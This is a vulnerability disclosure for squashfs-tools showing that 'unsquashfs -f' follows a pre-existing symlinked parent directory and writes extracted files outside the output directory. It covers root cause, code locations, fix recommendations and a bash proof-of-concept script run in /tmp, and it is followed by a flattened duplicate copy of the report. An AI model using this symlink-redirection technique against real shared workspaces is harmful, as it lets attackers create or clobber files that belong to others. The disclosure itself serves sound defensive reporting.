squashfs-tools unsquashfs -f Follows Preexisting Parent Symlink Component During Extraction, this may allow arbitrary file creation in sibling directories.
0. Environment
- Target:
unsquashfs (vulnerable extractor) and mksquashfs (PoC image generation)
- Version:
squashfs-tools commit f277118d (repo: squashfs-tools/)
- Build (from repository root; disables optional compressors to reduce deps):
make -C squashfs-tools/squashfs-tools -j"$(nproc)" \
unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=
- Binaries:
squashfs-tools/squashfs-tools/unsquashfs, squashfs-tools/squashfs-tools/mksquashfs (run PoC with UNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)
1. Description
With -f, unsquashfs reuses existing destination path components without rejecting the case where an internal component already exists as a symlink.
If an attacker pre-creates a symlink inside the destination tree, later extraction of a normal file below that component is redirected through the symlink target.
Relevant code:
squashfs-tools/squashfs-tools/unsquashfs.c:2130 — dir_scan(...) creates directories with mkdir(...).
squashfs-tools/squashfs-tools/unsquashfs.c:2148 — on EEXIST with -f, it chmod(...)s the existing path instead of rejecting it.
squashfs-tools/squashfs-tools/unsquashfs.c:2177 — child paths are built with "%s/%s".
squashfs-tools/squashfs-tools/unsquashfs.c:1088 — regular files are created with open_wait(pathname, O_CREAT | O_WRONLY, ...).
2. Impact
An attacker who controls destination pre-state can redirect extracted files outside the intended output directory.
Practical impact includes:
- arbitrary file creation in sibling directories;
- clobbering files via a predictable extraction path in a shared workspace;
- converting image extraction into a write gadget when
-f is used.
3. Reason / Root Cause
The parser correctly rejects malformed SquashFS entry names containing /, . or .., but the extractor still trusts the host filesystem state for already-existing parent components.
When out/dir is a symlink to ../outside, extraction of the valid image path dir/pwn.txt writes to outside/pwn.txt.
4. Proof-of-Concept
4.1 PoC file
4.2 What the PoC does
The PoC:
- Builds a valid SquashFS image containing
dir/pwn.txt.
- Pre-creates
out/dir -> ../outside.
- Runs
unsquashfs -f -d out.
- Verifies that
outside/pwn.txt is created.
4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_sqfs_inner/outside/pwn.txt
instead of keeping output under:
/tmp/unpfuzz_sqfs_inner/out/
5. Fix Recommendations
- Reject existing parent components that are symlinks, not only the final destination root.
- Use
lstat() before reusing an existing component under -f.
- Perform path resolution relative to a trusted root directory descriptor.
- Add regression tests for internal preexisting symlink components, not only root-path symlinks.
6. Reproduction
From the repository root:
Below is poc.sh
#!/usr/bin/env bash
set -euo pipefail
MKSQUASHFS_BIN=${MKSQUASHFS_BIN:-mksquashfs}
UNSQUASHFS_BIN=${UNSQUASHFS_BIN:-unsquashfs}
for bin in "$MKSQUASHFS_BIN" "$UNSQUASHFS_BIN"; do
if [[ "$bin" == */* ]]; then
if [[ ! -x "$bin" ]]; then
echo "error: not executable: $bin" >&2
exit 1
fi
else
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
fi
done
base=/tmp/unpfuzz_sqfs_inner
rm -rf "$base"
mkdir -p "$base/src/dir" "$base/out" "$base/outside"
printf 'INNER\n' > "$base/src/dir/pwn.txt"
"$MKSQUASHFS_BIN" "$base/src" "$base/test.sqfs" -noappend -quiet >/dev/null
ln -s ../outside "$base/out/dir"
(cd "$base" && "$UNSQUASHFS_BIN" -f -d out -quiet test.sqfs >/dev/null)
if [[ ! -f "$base/outside/pwn.txt" ]]; then
echo "[-] exploit failed: redirected file was not created" >&2
find "$base" -maxdepth 3 -ls >&2
exit 1
fi
echo "[+] extraction followed internal preexisting symlink component"
cat "$base/outside/pwn.txt"
squashfs-tools
unsquashfs-fFollows Preexisting Parent Symlink Component During Extraction, this may allow arbitrary file creation in sibling directories.0. Environment
unsquashfs(vulnerable extractor) andmksquashfs(PoC image generation)squashfs-toolscommitf277118d(repo:squashfs-tools/)make -C squashfs-tools/squashfs-tools -j"$(nproc)" \ unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=squashfs-tools/squashfs-tools/unsquashfs,squashfs-tools/squashfs-tools/mksquashfs(run PoC withUNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)1. Description
With
-f,unsquashfsreuses existing destination path components without rejecting the case where an internal component already exists as a symlink.If an attacker pre-creates a symlink inside the destination tree, later extraction of a normal file below that component is redirected through the symlink target.
Relevant code:
squashfs-tools/squashfs-tools/unsquashfs.c:2130—dir_scan(...)creates directories withmkdir(...).squashfs-tools/squashfs-tools/unsquashfs.c:2148— onEEXISTwith-f, itchmod(...)s the existing path instead of rejecting it.squashfs-tools/squashfs-tools/unsquashfs.c:2177— child paths are built with"%s/%s".squashfs-tools/squashfs-tools/unsquashfs.c:1088— regular files are created withopen_wait(pathname, O_CREAT | O_WRONLY, ...).2. Impact
An attacker who controls destination pre-state can redirect extracted files outside the intended output directory.
Practical impact includes:
-fis used.3. Reason / Root Cause
The parser correctly rejects malformed SquashFS entry names containing
/,.or.., but the extractor still trusts the host filesystem state for already-existing parent components.When
out/diris a symlink to../outside, extraction of the valid image pathdir/pwn.txtwrites tooutside/pwn.txt.4. Proof-of-Concept
4.1 PoC file
poc.sh4.2 What the PoC does
The PoC:
dir/pwn.txt.out/dir -> ../outside.unsquashfs -f -d out.outside/pwn.txtis created.4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_sqfs_inner/outside/pwn.txtinstead of keeping output under:
/tmp/unpfuzz_sqfs_inner/out/5. Fix Recommendations
lstat()before reusing an existing component under-f.6. Reproduction
From the repository root:
Below is
poc.sh